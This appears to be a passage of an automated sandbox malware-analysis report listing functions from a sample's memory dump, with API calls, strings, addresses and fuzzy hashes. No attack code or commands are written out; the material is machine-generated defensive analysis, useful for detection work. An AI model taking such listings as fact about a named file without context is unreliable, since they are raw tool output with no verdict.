Function 00007FF73A242C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32 ref: 00007FF73A242C3E
SendMessageW.USER32 ref: 00007FF73A242C56
SetWindowTextW.USER32 ref: 00007FF73A242C6F
GetDlgItem.USER32 ref: 00007FF73A242C87
SetWindowTextW.USER32 ref: 00007FF73A242C94
GetDlgItem.USER32 ref: 00007FF73A242CAE
SetWindowTextW.USER32 ref: 00007FF73A242CBB
SendDlgItemMessageW.USER32 ref: 00007FF73A242CE0
SendDlgItemMessageW.USER32 ref: 00007FF73A242D03
GetWindowRect.USER32 ref: 00007FF73A242D14
SetWindowTextW.USER32 ref: 00007FF73A242DB5
GetDesktopWindow.USER32 ref: 00007FF73A242DBB
GetWindowRect.USER32 ref: 00007FF73A242DC8
MoveWindow.USER32 ref: 00007FF73A242E20
GetClientRect.USER32 ref: 00007FF73A242E31
PostMessageW.USER32 ref: 00007FF73A242E60
SetTimer.USER32 ref: 00007FF73A242E91

Strings

@, xrefs: 00007FF73A242DD7

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID: @
API String ID: 3869813825-2766056989
Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction ID: 6c6d538b62b5ec2d7c74eb19a358d6b87fab96854b92b6a39a7e71ca2235834e
Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
Instruction Fuzzy Hash: FB81AE36A04A529AF700EF76D85166D73A4FB84B88F808171DE0EA7758DF38D845E710

Function 00007FF73A24C81C Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 140COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION ref: 00007FF73A24C841
GetFileVersionInfoW.VERSION ref: 00007FF73A24C869
wcscpy.LIBCMT ref: 00007FF73A24C8A6
wcscat.LIBCMT ref: 00007FF73A24C8C8
wcsstr.LIBVCRUNTIME ref: 00007FF73A24C8D3
VerQueryValueW.VERSION ref: 00007FF73A24C8F4
wcscat.LIBCMT ref: 00007FF73A24C934
wcscat.LIBCMT ref: 00007FF73A24C93F
wcscat.LIBCMT ref: 00007FF73A24C94A
VerQueryValueW.VERSION ref: 00007FF73A24C9A0

Strings

04090000, xrefs: 00007FF73A24C92A
%u.%u.%u.%u, xrefs: 00007FF73A24C9BE
StringFileInfo\, xrefs: 00007FF73A24C8BE
\VarFileInfo\Translation, xrefs: 00007FF73A24C8ED
DefaultLangCodepage, xrefs: 00007FF73A24C94F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 222038402-1459072770
Opcode ID: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
Instruction ID: 285c973cb1c5d7f2f676e7f004a28eac73756befc3081fe857ed7100e2e582e7
Opcode Fuzzy Hash: cd0cb460e9213e7bbd7e72b67b5e96f7d513e8dcebbe310305f3515603c5f5bf
Instruction Fuzzy Hash: 2151BE2970D69266FA14FB16A5021B9A3A1AF85FD0FC04671EE0D47B96DF3CE501F720

Function 00007FF73A281254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73A1D2A54: GetWindowLongPtrW.USER32 ref: 00007FF73A1D2A71

DragQueryPoint.SHELL32 ref: 00007FF73A281298

Part of subcall function 00007FF73A27F014: ClientToScreen.USER32(00000000,?,?,?,?,00007FF73A280BC9), ref: 00007FF73A27F054
Part of subcall function 00007FF73A27F014: GetWindowRect.USER32(?,?,?,?,00007FF73A280BC9), ref: 00007FF73A27F0E3
Part of subcall function 00007FF73A27F014: PtInRect.USER32 ref: 00007FF73A27F0F3

SendMessageW.USER32 ref: 00007FF73A28130F
DragQueryFileW.SHELL32 ref: 00007FF73A281321
DragQueryFileW.SHELL32 ref: 00007FF73A281347
wcscat.LIBCMT ref: 00007FF73A28137B
SendMessageW.USER32 ref: 00007FF73A281392
SendMessageW.USER32 ref: 00007FF73A2813AC
SendMessageW.USER32 ref: 00007FF73A2813C4
SendMessageW.USER32 ref: 00007FF73A2813E9
DragFinish.SHELL32 ref: 00007FF73A2813F2
DefDlgProcW.USER32 ref: 00007FF73A281520

Strings

@GUI_DRAGFILE, xrefs: 00007FF73A2814B4
@GUI_DRAGID, xrefs: 00007FF73A28146B
@GUI_DROPID, xrefs: 00007FF73A281415

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 2091158083-3440237614
Opcode ID: e7cf14c8cb9fea28fae3cfa0ca1c8c9e213d5ab0a26eeea6c7821a3ea67fb674
Instruction ID: fec93c02a619ab0feb19c41988ecb8ab2255431c8bb60eb2d4fe550808994547
Opcode Fuzzy Hash: e7cf14c8cb9fea28fae3cfa0ca1c8c9e213d5ab0a26eeea6c7821a3ea67fb674
Instruction Fuzzy Hash: 3471603A618A82A6F710EB15E4467E9B720FBC4794FC00072EE4E47A99DF7CD149E750

Function 00007FF73A253FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32 ref: 00007FF73A254077
GetDriveTypeW.KERNEL32 ref: 00007FF73A254162
mciSendStringW.WINMM ref: 00007FF73A2541AA
mciSendStringW.WINMM ref: 00007FF73A2541F1
mciSendStringW.WINMM ref: 00007FF73A254229

Strings

close cd wait, xrefs: 00007FF73A25420D
close, xrefs: 00007FF73A25407D
open, xrefs: 00007FF73A2540DC
set cd door , xrefs: 00007FF73A2541B8
closed, xrefs: 00007FF73A25408C
open , xrefs: 00007FF73A254171
wait, xrefs: 00007FF73A2541D5
type cdaudio alias cd wait, xrefs: 00007FF73A25418E

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1600147383-4113822522
Opcode ID: b3332fb1be5ab1f23677351a9f9b0a3f5ed7b6727cd58e1410d094eeb12e78cd
Instruction ID: 6681615acd1bac7900835b5b80a978cf99d373f3c5bb97cc908db0bd0d0fe32f
Opcode Fuzzy Hash: b3332fb1be5ab1f23677351a9f9b0a3f5ed7b6727cd58e1410d094eeb12e78cd
Instruction Fuzzy Hash: 4281A22AB14A12A5FF10AB26D8522BCF3B1FBA4B94B944571CE0D87794DF3CD546E320

Function 00007FF73A280118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00007FF73A280201
LoadLibraryExW.KERNEL32 ref: 00007FF73A28026C
LoadImageW.USER32 ref: 00007FF73A2802B0
LoadImageW.USER32 ref: 00007FF73A2802EB
LoadImageW.USER32 ref: 00007FF73A28032F
FreeLibrary.KERNEL32 ref: 00007FF73A28033C
ExtractIconExW.SHELL32 ref: 00007FF73A28034E
DestroyIcon.USER32 ref: 00007FF73A280360
SendMessageW.USER32 ref: 00007FF73A28037F
SendMessageW.USER32 ref: 00007FF73A280397

Part of subcall function 00007FF73A1F8E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1F8E4F

Part of subcall function 00007FF73A1F8E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A1F8EED

Strings

.icl, xrefs: 00007FF73A280171
.dll, xrefs: 00007FF73A2801B5
.exe, xrefs: 00007FF73A280193

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: b850927cd6d46cc4447c6ce33617ba418cc9147fcb09e0c65edcc184951e5faf
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 4271173AA09B5296FB20AF21A4426B9A3A4FF84B94F840671ED1D877A4DF3CD544F310

Function 00007FF73A2803D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF73A280422
GetFileSize.KERNEL32 ref: 00007FF73A280436
GlobalAlloc.KERNEL32 ref: 00007FF73A280445
CloseHandle.KERNEL32 ref: 00007FF73A280456
GlobalLock.KERNEL32 ref: 00007FF73A280466
ReadFile.KERNEL32 ref: 00007FF73A28047E
GlobalUnlock.KERNEL32 ref: 00007FF73A280489
CloseHandle.KERNEL32 ref: 00007FF73A280492
CreateStreamOnHGlobal.OLE32 ref: 00007FF73A2804A8
OleLoadPicture.OLEAUT32 ref: 00007FF73A2804CB
GlobalFree.KERNEL32 ref: 00007FF73A2804DE
GetObjectW.GDI32 ref: 00007FF73A280508
CopyImage.USER32 ref: 00007FF73A280541
DeleteObject.GDI32 ref: 00007FF73A28056E
SendMessageW.USER32 ref: 00007FF73A28058D

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 1f9eff09c21af27c1d228026d087557f896aa73d2f8a742f67c82706efbcfb16
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: 32516A3AB18B419AFB14DF62E805A6D73A8FB88B94B904171EE1E83B14DF3DD405E710

Function 00007FF73A250D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF73A25102D
VariantClear.OLEAUT32 ref: 00007FF73A25111F

Strings

Default, xrefs: 00007FF73A250E89
%4d%02d%02d%02d%02d%02d, xrefs: 00007FF73A250F10

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 2610073882-3931177956
Opcode ID: c629d060036ee8cb33259b61b520dba21cc015254e6618a80cb5c351be3586fd
Instruction ID: f4153f09299b25d2cdf7f9b2f1f5945c8710e4b60905dd04665369b2f9675c71
Opcode Fuzzy Hash: c629d060036ee8cb33259b61b520dba21cc015254e6618a80cb5c351be3586fd
Instruction Fuzzy Hash: B30272BAA0D642A5FA54BB65D06617CE3A1FF84B80F8541B5CA0E47A94CF2CE950F320

Function 00007FF73A25246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF73A252590
wcscat.LIBCMT ref: 00007FF73A2525A3
wcscat.LIBCMT ref: 00007FF73A2525E1
wcscat.LIBCMT ref: 00007FF73A2525F4

Part of subcall function 00007FF73A1D67D8: _fread_nolock.LIBCMT ref: 00007FF73A1D6805

GetTempPathW.KERNEL32 ref: 00007FF73A25271B
GetTempFileNameW.KERNEL32 ref: 00007FF73A252737

Part of subcall function 00007FF73A2048E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF73A204835

DeleteFileW.KERNEL32 ref: 00007FF73A252854
DeleteFileW.KERNEL32 ref: 00007FF73A2528BB

Strings

aut, xrefs: 00007FF73A252729

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction ID: 295a9592ca2b53df24126a40cb1de3118d807b9251e16a97be066367fd47728d
Opcode Fuzzy Hash: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction Fuzzy Hash: 10C1A7766186C6A5FB24EF25E8412E9B361FB84788F804032EB4D47B99DF3CD205E710

Function 00007FF73A27E40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73A27E510
CreateWindowExW.USER32 ref: 00007FF73A27E5BC
SendMessageW.USER32 ref: 00007FF73A27E5E3
SendMessageW.USER32 ref: 00007FF73A27E5F8
DestroyWindow.USER32 ref: 00007FF73A27E61C
CreateWindowExW.USER32 ref: 00007FF73A27E675
SendMessageW.USER32 ref: 00007FF73A27E692
GetDesktopWindow.USER32 ref: 00007FF73A27E6AE
GetWindowRect.USER32 ref: 00007FF73A27E6BB
SendMessageW.USER32 ref: 00007FF73A27E6D0
SendMessageW.USER32 ref: 00007FF73A27E6EE

Strings

tooltips_class32, xrefs: 00007FF73A27E570, 00007FF73A27E63F

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: 281644a405013652c53fef1fe150da7dd09c9fe0fbff3d58d3a79484d2ede241
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: D791BC3AA08A859AFB50DF65E4417ACB3A1FB88B84F804076DE4D47B18DF3CE045E720

Function 00007FF73A258BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF73A258CDA
SystemTimeToFileTime.KERNEL32 ref: 00007FF73A258CEC
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF73A258D00
wcscat.LIBCMT ref: 00007FF73A258D84
wcscat.LIBCMT ref: 00007FF73A258D95
GetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258DA6
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258DB3
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258DEE
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258E3F
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258E4C
wcscpy.LIBCMT ref: 00007FF73A258E5E

Strings

*.*, xrefs: 00007FF73A258E52

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
String ID: *.*
API String ID: 1111067124-438819550
Opcode ID: 2df2e35037baf337eb2db51105f2de0ffed2215427f4fc3216daa8273d014621
Instruction ID: b88f93c57efcce692c6dfc7d1c2c8084c79d5c6d64d179549b97e14766acfe23
Opcode Fuzzy Hash: 2df2e35037baf337eb2db51105f2de0ffed2215427f4fc3216daa8273d014621
Instruction Fuzzy Hash: 3E71A07A618B8AA1EB10EF12E8421EEB371FB84B88F800071EE4D47765CF79E545E750

Function 00007FF73A264F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF73A264FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF73A264FF3
CreateCompatibleDC.GDI32 ref: 00007FF73A265001
SelectObject.GDI32 ref: 00007FF73A265011
StretchBlt.GDI32 ref: 00007FF73A265087
GetDIBits.GDI32 ref: 00007FF73A2650CE
GetDIBits.GDI32 ref: 00007FF73A265107
SelectObject.GDI32 ref: 00007FF73A265116
DeleteObject.GDI32 ref: 00007FF73A26511F
DeleteDC.GDI32 ref: 00007FF73A265128
ReleaseDC.USER32 ref: 00007FF73A265133

Strings

, xrefs: 00007FF73A265053

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
Instruction ID: 2f7ee5c048f1858ef1493c5784368f64f0541757161fefa5d949cb5ddea7c8da
Opcode Fuzzy Hash: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
Instruction Fuzzy Hash: EB51777AB19641CFE750DF65E440AADB7B5F788B88F408125EE4A93B18CF38E415DB10

Function 00007FF73A23B0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF73A23B101
SafeArrayAllocData.OLEAUT32 ref: 00007FF73A23B163
VariantInit.OLEAUT32 ref: 00007FF73A23B175
SafeArrayAccessData.OLEAUT32 ref: 00007FF73A23B198
VariantCopy.OLEAUT32 ref: 00007FF73A23B203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF73A23B217
VariantClear.OLEAUT32 ref: 00007FF73A23B22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF73A23B23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF73A23B247
VariantClear.OLEAUT32 ref: 00007FF73A23B25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF73A23B266

Strings

NULL Pointer assignment, xrefs: 00007FF73A23B0D3

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: f89d616e78158e5d195fe82fd904d20423798e27d4ab9a8ad13e70e394ab023e
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: 05515026B15A129AFB40EF61D8866BCA770FBC4B88F804031EA0E87695DF39D485E350

Function 00007FF73A2587CC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 200COMMON

Download Yara Rule

APIs

wcscat.LIBCMT ref: 00007FF73A25898D
wcscat.LIBCMT ref: 00007FF73A25899E
GetCurrentDirectoryW.KERNEL32 ref: 00007FF73A2589AF
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A2589BC
GetFileAttributesW.KERNEL32 ref: 00007FF73A2589ED
SetFileAttributesW.KERNEL32 ref: 00007FF73A258A03
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258A14
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258A76
wcscpy.LIBCMT ref: 00007FF73A258A88
SetCurrentDirectoryW.KERNEL32 ref: 00007FF73A258AC5

Strings

*.*, xrefs: 00007FF73A258A7C

Memory Dump Source

Source File: 00000000.00000002.2466337713.00007FF73A1D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF73A1D0000, based on PE: true

Associated: 00000000.00000002.2466324756.00007FF73A1D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A285000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466433158.00007FF73A2A8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466473467.00007FF73A2BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2466505958.00007FF73A2C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff73a1d0000_elyho3x5zz.jbxd

Similarity

API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
String ID: *.*
API String ID: 4125642244-438819550
Opcode ID: 28f79fac5b48c1e4f3104e62abd9b7bad88d1373c61b83185a64a616cec24369
Instruction ID: 716d80bf90592968189d587b94360cf75fdf4f00fbdada373615a517b0abc9a8
Opcode Fuzzy Hash: 28f79fac5b48c1e4f3104e62abd9b7bad88d1373c61b83185a64a616cec24369
Instruction Fuzzy Hash: 5D81C16A618A8AA5FB14EF15D8466BDF3A0FB84B84FC40072EE4E47694DFB8D504F310

Function 00007FF73A24A40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

